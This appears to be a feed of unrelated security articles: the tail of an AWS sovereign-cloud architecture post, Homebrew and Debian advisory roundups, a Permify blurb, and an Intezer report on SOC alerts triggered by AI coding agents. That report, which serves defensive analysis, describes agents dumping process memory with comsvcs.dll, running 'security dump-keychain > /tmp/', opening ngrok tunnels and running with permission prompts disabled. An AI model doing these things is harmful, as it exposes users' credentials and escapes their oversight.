"aws_ssoadmin_account_assignment" "analytics_to_workload" { instance_arn = local.sso_instance_arn permission_set_arn = aws_ssoadmin_permission_set.analytics_operator.arn principal_id = aws_identitystore_group.analytics.group_id principal_type = "GROUP" target_id = var.analytics_workload_account_id target_type = "AWS_ACCOUNT" } Cross-account roles for governance, logging, and tooling Cross-account roles within the EUSC partition work normally; this is how the logging and security-tooling accounts collect from workload accounts. Scope each trust policy to a specific principal and harden it with an external ID (for third-party tooling) and partition-aware ARNs. { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "AWS": "arn:${AWS::Partition}:iam::<SECURITY_TOOLING_ACCOUNT_ID>:role/SecurityAuditCollector" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "eusc-sec-audit" }, "ArnLike": { "aws:PrincipalArn": "arn:${AWS::Partition}:iam::*:role/SecurityAuditCollector" } } }] } A role in the aws partition can’t assume a role in aws-eusc (or the reverse). Logging and monitoring: centralized in EUSC, exported to your SIEM A sovereign logging architecture requires three things: A single, immutable store for all audit and operational logs A central security account that runs detective controls and correlates findings A reliable, in-partition path that feeds everything into your SIEM without data ever leaving the boundary. In the subsections that follow, we walk through each layer: Centralized log collection in the Log Archive account, Amazon GuardDuty and AWS Security Hub administration through the Security Tooling account, and the pull-based SIEM integration pattern that keeps telemetry inside the EUSC partition. Centralize logs in the Log Archive account The Log Archive account holds the organization trail and a central log bucket as part of the landing zone. In the commercial AWS partition, global services like IAM route their CloudTrail events to us-east-1. In the EUSC, global services events are logged within the EUSC partition because the control plane is independent and located entirely within the EU. Organization level detective services GuardDuty and Security Hub are available in EUSC, but organization-wide auto-enable and some newer features might differ from commercial AWS features at any given time. Design the Security Tooling account as the delegated administrator where supported. If org-level auto-enable isn’t yet available, enable per-account through your IaC ( AWS CloudFormation StackSets ) so coverage is complete and code-managed. Treat the EUSC service and feature list as the source of truth and gate optional features behind a partition flag. Network security and perimeter, including AWS Direct Connect The AWS European Sovereign Cloud has its own sovereign AWS Direct Connect points of presence (PoPs) , with dedicated networking infrastructure and connectivity from European providers, providing customers an autonomous network path into the partition. You terminate Direct Connect in a dedicated Network account and share connectivity to workload VPCs using Transit Gateway (with AWS RAM) . A Direct Connect connection or Direct Connect gateway in the commercial partition can’t be extended into aws-eusc. To reach EUSC VPCs, you provision a separate Direct Connect connection that lands in the EUSC partition’s Network account. If your on-premises network already backhauls to AWS commercial Regions, you connect that network to EUSC with its own virtual interface or connection, or a site-to-site VPN. You don’t bridge the two AWS partitions through a shared Direct Connect gateway. The following figure shows the recommended perimeter design in EUSC. Figure 1: Recommended perimeter design in EUSC The perimeter design includes: Centralized egress and inspection – Route workload egress through an inspection VPC in the Network account (gateway load balancer with your firewall of choice, or AWS Network Firewall. Keep workload VPCs private with no internet gateway. Private service access – Use VPC interface endpoints (VPCe) for AWS service calls so traffic stays on the AWS network within the partition. VPCe doesn’t cross partitions; expose any commercial-partition service to EUSC consumers over DX/VPN and an in-EUSC load balancer. DNS – EUSC has its own Amazon Route 53. For names that must resolve across clouds, use subdomain delegation or Resolver forwarding rules over your DX or VPN link rather than expecting hosted zones to be visible across partitions. Segmentation as code – Express segmentation with security groups referencing prefix lists and keep the EUSC IP ranges current from the partition’s published ip-ranges file in your firewall automation. Data protection AWS Key Management Service (AWS KMS) is available in EUSC; use customer managed keys for all sensitive data stores and enforce their use with SCPs and key policies. Where your residency or operational-autonomy requirements call for it, evaluate AWS KMS external and imported key material options available in the partition. For workloads where regulation mandates that key material never resides within the cloud provider’s infrastructure, configure an AWS KMS External Key Store (XKS) in the EUSC Region. The XKS proxy connects AWS KMS to your EU-based hardware security module (HSM) (on-premises or hosted with an EU trust service provider); all encrypt and decrypt operations are performed by your external key manager. Note the trade-offs: increased latency, reduced availability SLA, and added operational burden. Reserve XKS for the subset of data where regulatory or contractual obligations explicitly require it. The EUSC Region has achieved SOC 2, BSI C5 Type 1 attestation , and seven ISO certifications, including ISO 27001, 27017, 27018, and 27701. Reference these in your data protection evidence packages when demonstrating encryption-at-rest and key management controls to EU regulators. Secure CI/CD and distributing images across the partition boundary If you need to deploy existing images or binaries into EUSC (aws-eusc) from existing AWS commercial (aws) accounts, you can’t use cross-partition Amazon Elastic Container Registry (Amazon ECR) replication, Amazon Machine Image (AMI) copy, or Amazon Simple Storage Service (Amazon S3) replication. Instead, treat EUSC as an independent supply-chain destination: Container images – Build (or re-tag and re-sign) images and push to an Amazon ECR registry inside EUSC. ECR cross-Region replication works within the partition (useful as EUSC adds Regions or Local Zones), but the initial crossing from commercial is an explicit pipeline push using EUSC credentials. Sign images with a sovereign signing key and verify at deploy time. AMIs and images – Rebuild golden images in EUSC with EC2 Image Builder (run the pipeline natively in EUSC), or import virtual machine (VM) images using Amazon S3 in EUSC and aws ec2 import-image . There is no direct cross-partition AMI copy. Binaries and artifacts – Stage in an artifact bucket in the EUSC Shared Services account. Move packages across the boundary with aws s3 sync or AWS DataSync over your DX or VPN, or using controlled export, then distribute within the partition using in-partition S3 replication to other EUSC Regions or Local Zones as they come online. # Push a container image to ECR inside EUSC (note the .eu endpoint). Credentials/profile must be for the aws-eusc partition. aws ecr get-login-password --region eusc-de-east-1 --profile eusc-shared-services \ | docker login --username AWS --password-stdin \ 111122223333.dkr.ecr.eusc-de-east-1.amazonaws.eu docker tag company/runtime:7.x \ 111122223333.dkr.ecr.eusc-de-east-1.amazonaws.eu/company/runtime:7.x docker push \ 111122223333.dkr.ecr.eusc-de-east-1.amazonaws.eu/company/runtime:7.x Remember that endpoints and ARNs use amazonaws.eu in the EUSC partition. IAM service principals always use amazonaws.com regardless of partition. Replicating deployment code and pipelines Run a native deployment plane in EUSC ( AWS CodePipeline , AWS CodeBuild , AWS CodeDeploy , or your existing tool deployed in-partition) in the Shared Services account, with cross-account deploy roles into workload accounts. If a commercial-partition continuous-integration system must deploy into EUSC, give it separate credentials for each partition; the clean pattern is OIDC federation with two trust configurations, one for each partition, because no cross-partition role assumption exists. // Deploy role in an EUSC workload account, trusted by the EUSC Shared Services pipeline role { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "AWS": "arn:aws-eusc:iam::<SHARED_SERVICES_ACCT>:role/PipelineDeployRole" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "sts:ExternalId": "EUSC-deploy" } } }] } For account vending and landing-zone-as-code, use Account Factory for Terraform (AFT) deployed in EUSC. AFT pipelines create accounts through AWS Control Tower, apply baseline guardrails, bootstrap the preceding partition-aware modules, and register OUs, giving you the accounts and account groups as code. Keep Terraform state for each partition in an in-EUSC Amazon S3 backend with an Amazon DynamoDB lock table; don’t share state across partitions. The Landing Zone Accelerator on AWS (LZA) solution is an alternative deployment method that provisions a baseline security architecture and includes customizations for each partition, with consideration for service availability. A customized configuration baseline for European Sovereign Cloud was recently released and is accompanied by the LZA Compliance Workbook , which maps regional European security standards and international frameworks to over 200 security settings deployed by LZA. Supported compared to by-design boundaries: A quick reference Capability Status in EUSC What to do AWS Control Tower account vending, controls Supported in-partition Govern the EUSC Region; drive vending with AFT; re-register OUs after Region changes AWS Control Tower–managed or self-managed IAM Identity Center Configuration choice Choose self-managed to own permission sets as code Permission set creation and assignment as IaC Supported Manage with SCIM groups from your IdP Identity Center single home and delegated admin for each partition By-design behavior Administer from one Region; non-issue in single-Region EUSC Cross-account roles (governance, logging, tooling) Supported within partition Scope trust to specific principals and ExternalId Cross-partition AssumeRole, VPC peering, TGW, RAM, Amazon S3 replication Not available (security boundary) Integrate at network or API layer with separate per-partition credentials Billing roll-up across accounts and Regions Supported within the EUSC org Aggregate in a finance or governance account in-partition Billing roll-up across the aws and aws-eusc boundary Separate billing systems (EUR payer) Keep cost analysis in-partition or in an EU-resident tool Multi-Region image distribution (Amazon ECR, AMI, and Amazon S3) Supported within partition Push into EUSC first, then replicate in-partition GuardDuty and Security Hub Available—some org-auto-enable and features vary Delegate admin where supported; per-account enable using IaC otherwise CloudFront, Shield Advanced, Firewall Manager, Inspector In planning at time of publication Follow on AWS Builder Center (capabilities) for release updates Billing and cost governance Roll up within the EUSC organization, not across partitions. Enable consolidated billing in the EUSC management account and deliver AWS Data Exports (Cost and Usage Report 2.0) to an S3 bucket in a dedicated finance or governance account in the Security or Infrastructure OU. Set permissions so workload teams can query the curated data in that account; no one should be able to access the management or payer account directly. You can’t replicate billing data into the commercial partition; the EUSC has a separate payer (billed in EUR through the EU contracting entity). Conclusion Architecting in the AWS European Sovereign Cloud is, in most respects, architecting a second well-run AWS landing zone with one organizing principle that resolves nearly every design question: it’s an independent partition. Centralization of governance, identity, logging, and billing is fully achievable, but within the EUSC partition. The boundaries you encounter between commercial AWS and EUSC—no cross-partition roles, peering, replication, or billing roll-up—are the sovereignty guarantees doing their job. Build the foundation as code. Use an AWS Control Tower landing zone driven by AFT, IAM Identity Center permission sets and assignments in Terraform federated to your corporate IdP, an immutable central log store, customer managed encryption keys constrained to the sovereign Region, and a Network account terminating a dedicated Direct Connect. Add a CI/CD plane that pushes images and artifacts into the partition with per-partition credentials. Keep every ARN partition-aware and every optional service behind a feature flag, and the same modules will serve both clouds. To accelerate your build with additional enablement from AWS, explore the LZA Universal Configuration for European Sovereign Cloud on GitHub, which packages many of the patterns described in this post into a ready-to-deploy baseline. To complement your deployment with compliance readiness, the LZA Independent Assessment Report for C5:2020 evaluates how LZA’s security baseline maps to C5:2020 technical requirements, and you can download the report and the LZA Compliance Workbook from AWS Artifact . Further reading AWS Security Reference Architecture (AWS SRA) AWS Well-Architected Framework and the Security Pillar AWS European Sovereign Cloud and European digital sovereignty and compliance overview Organizing your AWS environment using multiple accounts AWS Control Tower and Account Factory for Terraform (AFT) IAM Identity Center User Guide (EUSC) If you have feedback about this post, submit comments in the Comments section below or start a thread on AWS re:Post . Pablo Pagani Pablo is a Systems Development Manager for AWS European Sovereign Cloud, based in Madrid, Spain. He has previously held roles within Enterprise Support and Professional Services. An active member of the Security Technical Field Community, he helps customers build a secure journey on AWS. Pablo developed his passion for computers while writing his first lines of code in BASIC on an MSX computer with 64 KB of RAM. Margo Cronin Margo is an EMEA Principal Solutions Architect specializing in Security & Compliance and is based out of Zurich Switzerland. Her interests include security, privacy, cryptography, and compliance. She is passionate about her work unblocking security challenges for AWS customers, enabling their successful cloud journeys. She is an author of the “AWS User Guide to Financial Services Regulations and Guidelines in Switzerland”.

Modern macOS malware uses deceptive setup guides to steal credentials and sensitive user data. Learn how to identify and block these threats. The post Atomic macOS (AMOS) Stealer Activity appeared first on Unit 42 .

Homebrew 7.0.0 is out, here’s what changed for security Homebrew installs command-line software and desktop applications from the terminal on macOS and Linux, and Mac developers use it to set up their machines. On Sunday the project shipped version 7.0.0 and closed eight security advisories with it. The most serious of them let unsigned removal metadata for a cask, Homebrew’s recipe for installing a prebuilt application, execute commands with sudo. Homebrew deleted the vulnerable recovery code and the API accessors that reached it. Seven of the eight advisories were fixed in 6.0.x releases, so a machine that has been auto-updating already carries those. The eighth arrives in 7.0.0: until it is installed, a malicious cask can execute code outside the macOS install sandbox through LaunchServices. Eight advisories, one of them High Homebrew rates one advisory High, two Moderate and five Low. The High one is the sudo path, fixed in 6.0.12. A Moderate fixed in that same release stopped the macOS installer from reading Git configuration owned by the Homebrew prefix, which could execute programs as root. The other Moderate is the LaunchServices escape, and 7.0.0 answers it by restricting application launching, Mach services and Unix socket connections. The five Low entries, fixed in 6.0.6 and 6.0.7, cover requests and file paths reaching somewhere the user did not intend: redirects that could carry secret headers to another host or be turned into server-side request forgery, Git redirects that could sidestep restrictions on taps (the third-party repositories that supply package definitions), Subversion URLs that could become command options, and patches that could write outside the staged source tree. Homebrew now scans installed packages itself brew vulns ships with this release. It checks installed formulae, the package definitions Homebrew builds from, against known vulnerabilities through OSV.dev, a public index of open source vulnerability records, and it needs no extra tap or gem. Flags including --severity=high, --deps and --fix-available narrow the output to what a team can act on. Behind the command sits a new advisory database that records vulnerabilities against the formula versions and revisions Homebrew ships, backported security fixes included. That detail decides how many false alarms a security team handles: when Homebrew patches a package without moving its upstream version number, a scanner reading the version string alone flags a hole that is already closed. The records are OSV-format and CC0 licensed, and Homebrew publishes the findings in its formula API and as a downloadable index. Provenance checks widen too. Homebrew verifies build attestations for supported third-party tap bottles, extending a check that covered its own core tap, and taps created with brew tap-new publish those attestations by default. What the sandbox does not cover Tap trust remains the main protection against a malicious third-party cask. In Homebrew’s words, sandboxing “cannot make untrusted software safe to run.” An installed application runs with the user’s privileges, and vendor .pkg installers run outside the sandbox and can ask for sudo. Within that boundary, 7.0.0 narrows what an installation can do. Homebrew sandboxes formula and cask operations and delivers setup instructions as signed data, cutting the arbitrary Ruby that runs during an install; the old post_install and cask flight blocks are deprecated in favor of declared steps, which official taps already reject and third-party taps may keep using until 11 December 2027. Builds no longer read the home directory by default. Dependency downloads are moving to a separate fetch phase, after which installation runs with networking off and caches read-only, though that migration is still in progress. On Linux, Homebrew replaces the Bubblewrap sandboxing introduced in June with Landlock, a kernel facility that needs no dependencies or escalated Docker permissions. Kernels without Landlock keep running in the less secure configuration that predates 6.0.0, and brew doctor reports the gap as an advisory. Intel Macs stop getting new bottles Homebrew moved Intel x86_64 to Tier 3 after unreliable infrastructure ended routine Intel bottle builds. Bottles already built stay available, but an updated formula may have to be compiled locally, which is how an Intel user would pick up a fix that ships in a new version. Homebrew runs on Intel until 1 September 2027 without project support, and its suggestion for those users is a different package manager, MacPorts. Apple dropped Intel from macOS 27 and GitHub retires its Intel macOS runners in autumn 2027, and Homebrew’s volunteers cannot replace either. The release also removes macOS 10.15 and earlier and moves Sonoma 14 to Tier 3, with no new bottles there either.

Debian 13.7 ships the fixes behind 92 security advisories, updates 106 packages The Debian project shipped Debian 13.7 codenamed “trixie.” The project folded in 92 security advisories it had already published separately, added corrections to 106 source packages, and rebuilt the installer around both. Six of the 92 advisories cover the Linux kernel, each listing the linux source package alongside the signed amd64 and arm64 builds: DSA-6381, DSA-6393, DSA-6405, DSA-6415, DSA-6466 and DSA-6477. Anyone installing from older trixie media gets package versions that predate this whole set, and the machine catches up on its first update run. Systems that already track security.debian.org will pull few packages from the point release, because most of those security updates are included in it. What is in the bugfix list Seventeen of the 106 packages carry no fix of their own. Debian rebuilt them against an updated glibc, the C library that most programs on the system link against at runtime, and the list runs from bash and busybox through docker.io, gnupg2, snapd and zsh. glibc itself picked up fixes for a buffer overflow and a buffer underflow, CVE-2026-5928 and CVE-2026-5450, plus a change to keep it working with Linux 7.0 headers. Four packages account for most of the CVE numbers. qemu carries 25, imagemagick 24, wolfssl 15 and perl 13. cyrus-imapd shows nine CVEs, eight of them insufficient access checks and one an out of bounds read. Access checks in a mail server decide which account can open which mailbox. mbedtls carries seven, including a client impersonation issue, CVE-2026-34873, and a signature algorithm injection issue, CVE-2026-25834. The boot chain got two fixes u-boot, the bootloader on many embedded and ARM boards, verifies a FIT image before handing off to a kernel; FIT bundles the kernel and device tree into one signed file. CVE-2026-46728 let that verification pass on an image it should have rejected. The same u-boot entry fixes a BOOTP/DHCP buffer overread filed as CVE-2024-42040. That number is two years old. qemu’s list includes a secure boot bypass, CVE-2026-16288, and a post_load check added to its UEFI device, CVE-2026-61404. sbsigntool, the tool that signs EFI binaries for secure boot, had its intermediate certificate verification corrected. Credentials handed to the wrong host perl and libhttp-tiny-perl both carry CVE-2026-7017, credential forwarding on redirects. An HTTP client that follows a redirect and takes its authorization header along to the new destination hands credentials to whoever controls that destination. Both packages also fix CRLF validation, CVE-2026-7010. perl’s entry runs to 13 CVEs and includes symlink and hardlink extraction issues, CVE-2026-42496 and CVE-2026-42497, which matter to anything that unpacks an archive it did not create. flask now sets “Vary: Cookie” when a session is accessed, CVE-2026-27205. Without that header, a cache sitting in front of the application can store a page built for one user’s session and serve it to the next. dhcpcd discards IPv6 router advertisements carrying zero-length Neighbor Discovery options, CVE-2026-14258, and dnsmasq fixes a buffer overflow and an out of bounds read, CVE-2026-12725 and CVE-2026-12969. A fix for a fix python3.13 corrects a use-after-free in dict.clear() with embedded values, a regression from the previous version of the package. The rest of that entry is five CVEs, among them a file overwrite issue, CVE-2026-11940, and incorrect handling of user and group IDs in tar files, CVE-2026-4360. bettercap stops installing its systemd service by default and fixes a remote denial of service in its mysql.server module triggered by a crafted client handshake, CVE-2026-8276. onionshare stops writing files in Receive mode when uploads are disabled, CVE-2026-54707. Getting the update Debian updated the installer to carry the point release fixes and bumped the kernel ABI there to 6.12.107+deb13. An existing system takes the update by pointing its package manager at a Debian mirror.

Permify: Open-source authorization as a service Permify is an open-source authorization service that answers access questions at run time: can user X view document Y, which posts can members of team Y edit. It keeps those rules in one place, apart from the application code that would otherwise carry them. Permify follows the design of Google Zanzibar, the authorization system Google runs across its own products. Teams reach for something like it when permissions get specific and start nesting inside each other, and when the same rules have to hold across several applications at once. You write permission rules in Permify’s own language, which covers role-based access control, relationship-based rules, and attribute-based ones. A relationship-based rule grants access through a connection: the owner of a document, a member of the team that owns it. The service can also hold a separate set of rules for each tenant, so one deployment serves many customer organizations without their permissions bleeding together. Permify answers checks in tens of milliseconds. A single Docker command starts it locally, listening for REST and gRPC calls and keeping authorization data in memory. Permify is a member of the Cloud Native Computing Foundation, and the repository lists bounty-labeled issues that pay out on accepted pull requests. Permify is available for free on GitHub. Must read: 20 open-source cybersecurity tools to keep your team ready for anything GitHub CISO on security strategy and collaborating with the open-source community Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

Over the past year, we watched a new class of alert appear in enterprise security operations centers and grow faster than anything else in the stream: alerts that were triggered by AI tools and agents. Not attacks against AI, but the ordinary, everyday footprint of an organization using it, from developers running coding agents and non-technical staff signing consumer AI tools into corporate accounts. We reviewed AI-related activity across numerous enterprise environments. Two numbers frame everything that follows. AI-related alerts still account for only 0.43% of all SOC alerts. And that share is climbing every single month, up 685% between February and June 2026. AI is a small slice of the alert stream today and the fastest-growing slice at the same time. What makes those alerts worth a security team’s attention is not their volume but their composition. We sort everything an AI agent triggers in a SOC into three buckets: real attacks, risks, and noise, with the split being 94.1% noise, 5.8% genuine risk, and 0.02% real attacks. Meaning that across the data we investigated, real attacks that use AI agents are a drop in the ocean. The cost of AI in the SOC, so far, is not breaches. It is a rising tide of alerts that look alarming and almost never are, and a small, quiet set of genuine exposures that those alarms tend to bury. This post walks through each of the three categories with anonymized examples. All customer names, hostnames, usernames, and identifiers have been removed; indicators are defanged. The New Shape of the Alert Stream AI adoption inside an enterprise is not one behavior it is two very different ones arriving at the same time. The first is technical. Developers install coding agents that spawn shells, read credential stores, open network tunnels, download packages, and run security tooling all as legitimate work, and all of it indistinguishable to a detection engine from the early stages of an intrusion. This is the loud half, and it dominates the data. The second is when employees grant OAuth consent to third-party AI applications, share information, and paste documents into generative-AI tools. This is the quiet half. It rarely trips an endpoint detection, but it is where data leaves the building. Both halves land in the same place, the SOC, and both look, at first glance, like something to worry about. Sorting the signal from the noise is the entire job. By the Numbers AI accounts for a small share of the volume but is fast-growing. Of the roughly 16.9 million SOC alerts we reviewed, about 73,000 (0.43%) were AI-related. Read on its own, that is reassuringly small. The rise is monotonic. Every full month is higher than the one before, and growth accelerated sharply in May 2026. Over the window when reporting is stable across regions (February to June), volume grew by 685%. The 0.43% figure is best understood as today’s floor, not a ceiling. A team that sizes its AI-alert handling to current volume will be under-provisioned within a quarter. The composition is as lopsided as the trend is steep. Nearly all of the AI-generated alerts are noise. For this research, we investigated the AI-related population and sorted each alert by the underlying activity. A real attack is a confirmed compromise. A security risk is not a compromise but a genuine exposure (for example, a coding agent running with its permission safeguards disabled). Noise is legitimate activity that tripped a detection written before AI agents existed. By that measure, nearly all of the AI-related alerts are noise (94.1%), a small portion are genuine security risks (5.8%), and real attacks are a sliver (0.02%). The second measurement is how those same alerts were handled in production without a human in the loop. When an alert reaches an automated triage platform, two separate decisions are made about it. The verdict states how dangerous the activity looks: it can be benign, suspicious, or malicious. 79.8% received a benign verdict. The response states what happens next: the alert can be suppressed (closed automatically, so no analyst ever sees it), flagged for follow-up, or escalated to a human. 81.7% were automatically suppressed. Of the AI-related population, only 5.4% were ever escalated to a human analyst; the remainder were flagged for follow-up. A high-severity alert does not necessarily mean an actual threat. For example, a single detection at a single customer accounted for 55% of all “critical” verdict alerts flagging a Windows binary (Expand.exe) as a lateral-tool-transfer. Upon inspection, it was found that a developer’s coding agent was setting up a shell environment, and the behavior was normal for this type of work. The lesson for any SOC is the same: severity labels on AI activity have to be read with suspicion, not taken at face value. Category 1: Real Attacks A real attack is an actual compromise or an attacker operation enabled by, or riding on, AI adoption. This is the category every executive asks about first, and it is the smallest, accounting for roughly 0.02% of AI-generated alerts. When it comes to actual threats that were detected in this class of alerts, none was a compromise caused by an organization’s own AI agent. Every alert titled “AI agent running mimikatz,” “reverse shell from a coding tool,” or “credential theft” was resolved, on inspection, to a developer doing legitimate work or to a detection misfiring. We return to those in the Noise section. What was real is an attack that rides on AI rather than through it: a live phishing campaign that weaponizes AI brand names as lures. Across multiple customers, and as we expanded to new ones during the window we studied, we observed malicious emails with AI-themed subject lines featuring the biggest names in AI. The lure works precisely because AI adoption has made these brands familiar and their notifications routine. Employees now expect email from these products, which is exactly what the attacker is counting on. Here are some examples of incidents where we spotted the execution of tools or commands that usually indicate real attacks (or penetration testing), only in these cases they were invoked by Claude, Codex, etc. So the investigator also needs to question why the agents were running these tools and whether it was part of a real attack that exploited the agent. Anthropic is used as bait in the business context. In that alert, the email subject is RE: Anthropic Engagement approval & payment, and the analysis says the sender references a supposed contract/invoice with Anthropic to make a large payment request appear legitimate. So Anthropic is not the sender or the threat source, it’s part of the pretext used to support the invoice fraud story. An email uses a fake Google/Gemini Ads invitation lure to appear legitimate and trustworthy. It presents itself as a business-related workspace invitation, encouraging the recipient to connect or join what looks like an official Gemini Ads environment, but the sender and reply-to infrastructure are not associated with Google and instead rely on the suspicious domain gemini-advertisers[.]com, indicating a brand impersonation attempt designed to drive the user to a malicious site. The email impersonates OpenAI (“OpenAI Partner Summit 2026”) but originates from [email protected]. Although the URLs use legitimate zoom.us infrastructure, the content and registration flow are being used to lend credibility to a fraudulent invitation. The AI IDE Cursor seems to have moved from normal coding activity into unsafe low-level system actions: while likely attempting to complete a debugging or troubleshooting task, the agent used a known credential-dumping technique (MiniDump via comsvcs.dll) that can expose secrets from process memory. The parent-child chain Cursor.exe → powershell.exe → rundll32.exe, the temp .ps1 scripts, and the memory-dump commands show the IDE initiating an automated action sequence that may have been intended to help development, but did so in a way that created a serious credential-access risk on the endpoint. The pattern across all three is worth stating plainly: the closer we looked, the more the “attack” dissolved into context. That is the defining characteristic of AI-era triage. Category 2: Unsafe Use About 5.8% of the AI-related alerts are the ones we think deserve the most attention. These alerts detect an unsafe use of AI tools, not necessarily a compromise (yet). It is the moment when an agent, behaving exactly as instructed and with no attacker involved, does something that materially exposes the organization or the user. The main risk is agents running with a permission-bypass flag, the option that tells the agent to stop asking the user before it acts. Many users choose to trust the agent not to destroy their machines or execute dangerous commands, but as experience and, now, the data show us, in many cases, agents will attempt, and mostly succeed in executing commands that expose the organization and the user to great risks. It is worth noting that, especially when running the agent with the permission-bypass flag, it is recommended to use additional configurations, also known as harnesses, to programmatically prevent the agent from attempting to execute risky commands. On every sample we examined, the invocation was legitimate developer work. That is exactly why it matters. This is the same precondition abused in a publicly documented supply-chain attack, where an attacker’s malicious code executed freely because a coding agent had been launched with its permission prompts disabled. The exposure is not intent; it is that the rail is off, across many customers and at scale, waiting for the one time the code the agent is asked to run is not benign. Notably, these same permission-bypassed invocations are also the single largest source of false positives. Other instances of unsafe use we surfaced: A reverse tunnel opened by an AI IDE: In one of the environments, an AI code editor spawned PowerShell, which launched ngrok and opened a named reverse tunnel to the public internet using the user’s own auth token. While the intent is benign, it is a real risk and exposure. An agent dumping the entire macOS keychain to read one token: To retrieve its own and cloud services’ stored credentials. An agent ran security dump-keychain > /tmp/, which writes every stored secret to a temp file, briefly exposing all of them. Granting OAuth access to AI agents means that employees might share sensitive information with third-party service providers. But on top of that, it increases the risk of unauthorized data access via prompt injection or a compromised AI account. We observed multiple alerts for OAuth application consent granted to ChatGPT across tenants, “first sign-in to a new application: OpenAI” events, and, at one customer, a sizeable cluster of data-protection alerts for generative-AI uploads. Most are benign. But this is the surface where corporate data is sent to a third-party model, and it is almost invisible to endpoint tooling. Category 3: Noise Noise is the largest category by an order of magnitude, 94.1% of the AI-generated, and it is the one that directly determines whether a SOC drowns. Noise here is not random. It is specific and diagnosable: detections written before AI agents existed, now firing at high severity on routine agent work. This is not a new tendency in the SOC, as Sophos previously reported. The clearest example is the AI vendors’ own software. The genuine Anthropic Claude Desktop installer, verified by its code signature, triggers major EDR rules such as “Ransomware Operations detected” and “Encoded PowerShell Download and Run” across several customers. The installer is legitimate. The detection describes installer behavior in the ransomware vocabulary. Underneath that sit the agent-behavior false positives, all confirmed on inspection to be developers using tools as intended: The update of a coding agent and the developers’ use of the agent triggered a “Ransomware Operations detected”. The binary that triggered the alert is a legitimate, signed software package. The behavior that looked “ransomware-like” came from normal Electron/Squirrel installer activity and developer tool usage. Claude Setup.exe Path: \Device\HarddiskVolume3\Users\{REDACTED}\Downloads\Claude Setup.exe CMD: "C:\Users\{REDACTED}\Downloads\Claude Setup.exe" Update.exe Path: \Device\HarddiskVolume3\Users\{REDACTED}\AppData\Local\SquirrelTemp\Update.exe CMD: --install . Parent: Claude Setup.exe Parent Path: \Device\HarddiskVolume3\Users\{REDACTED}\Downloads\Claude Setup.exe Parent CMD: "C:\Users\{REDACTED}\Downloads\Claude Setup.exe" squirrel.exe Path: \Device\HarddiskVolume3\Users\{REDACTED}\AppData\Local\AnthropicClaude\app-1.1.1093\squirrel.exe CMD: --updateSelf=C:\Users\{REDACTED}\AppData\Local\SquirrelTemp\Update.exe Parent: Update.exe Parent Path: \Device\HarddiskVolume3\Users\{REDACTED}\AppData\Local\SquirrelTemp\Update.exe Parent CMD: --install .codex.exe Path: C:\Users\{REDACTED}\AppData\Roaming\...\bin\codex.exe CMD: codex.exe --yolo Parent: node.exe Parent Path: \...\Program Files\nodejs\node.exe Parent CMD: "node" "C:\Users\{REDACTED}\AppData\Roaming\...\codex\bin\codex.js" --yolo The false-positive rates are the story. Across the noisiest AI activity detections, the benign share ranges from 77% to 99%. Several detections are wrong on the AI-generated more than four times out of five: The one exception proves the rule. The ClickFix detection is the single cluster that leans genuinely severe, only 37% benign, and it does so precisely because it collides with the permission-bypass risk from the previous section: it fires on coding agents launched with --yolo. Even the “real-looking” noise traces back to legitimate AI use. What Security Teams Should Do From our analysis, the first step for every SOC is clear: tune the noisiest legacy detections, the ones firing at high severity on routine agent work. Next, define policies on what information can be shared with third-party AI platforms (as with any third-party platform) and, based on those policies, proactively hunt for permission-bypass flags, unauthorized tunnels, and risky OAuth grants rather than waiting to be alerted. The second step is harder, because it touches how triage itself works. AI tools execute commands on the user’s machine, with the user’s credentials, essentially acting on the user’s behalf. Alerts are therefore triggered by actions attributed to the user, and in many cases the user was not aware those actions took place. Before AI, suspicious activity executed on a user’s machine without their knowledge usually indicated a high probability that an attacker had taken over the machine. Now SOC teams face a new layer of complexity: first determine whether the action in question was executed by an AI agent or tool. To separate the user’s context from the agent’s, and to keep the agent away from credentials and sensitive information it should not have, we suggest running AI tools in an isolated environment with restricted access, such as a Docker container or a virtual machine. Isolation limits what the agent can reach, and it makes the agent’s behavior easier to distinguish from the user’s own activity. What This Means for the SOC Pulling the three categories together, the operational reality of enterprise AI adoption looks like this: Real attacks (0.02%): none of the confirmed attacks we investigated were carried out by an organization’s own agents. The genuine attack activity we found rides on AI adoption from the outside, phishing lures built on brand names employees now trust, not on the agents themselves. Security risks (5.8%): real, standing, and largely invisible to alerting. Agents run with their permission safeguards disabled, open tunnels to the public internet, over-expose stored secrets, and send corporate data to third-party models. None of this is an incident, and all of it is exposure. Noise (94.1%): the dominant cost. The single highest-value action available to most SOCs today is not a new detection. It is tuning the legacy ones so that a developer running a coding agent does not generate a maximum-severity alert. The uncomfortable synthesis is that AI adoption has not, so far, brought a wave of AI-enabled breaches. It has brought a wave of alerts, small as a share of total volume today, that have grown 18-fold in six months and are overwhelmingly false, alongside a smaller, quieter set of genuine exposures that the alerts tend to bury. A SOC that treats every agent action as a potential intrusion will exhaust itself on false positives and, in doing so, will be less likely to notice the ngrok tunnel or the keychain dump that actually matters. The work ahead is therefore less about detecting AI attacks and more about teaching detection engines what normal AI behavior looks like before the volume that is doubling and tripling month over month makes that work unavoidable. Understanding this distinction is what separates a SOC that scales with AI adoption from one that is buried by it. About Intezer Intezer is an autonomous AI SOC platform built to solve exactly the problem this data illustrates: the growing gap between alert volume and analyst capacity. Rather than tuning individual detections one at a time, Intezer investigates every alert automatically, applying forensic-level analysis to determine what's actually happening on an endpoint or in an email, then delivers a verdict a human can trust. That means 100% alert coverage — including the AI-related noise — without the SOC drowning in it. If you're seeing the same shift in your own alert stream, visit intezer.com to see how Intezer's platform handles it. Note: This article has been expertly written and contributed by Nicole Fishbein. Senior Security Researcher and Malware Analyst at Intezer.

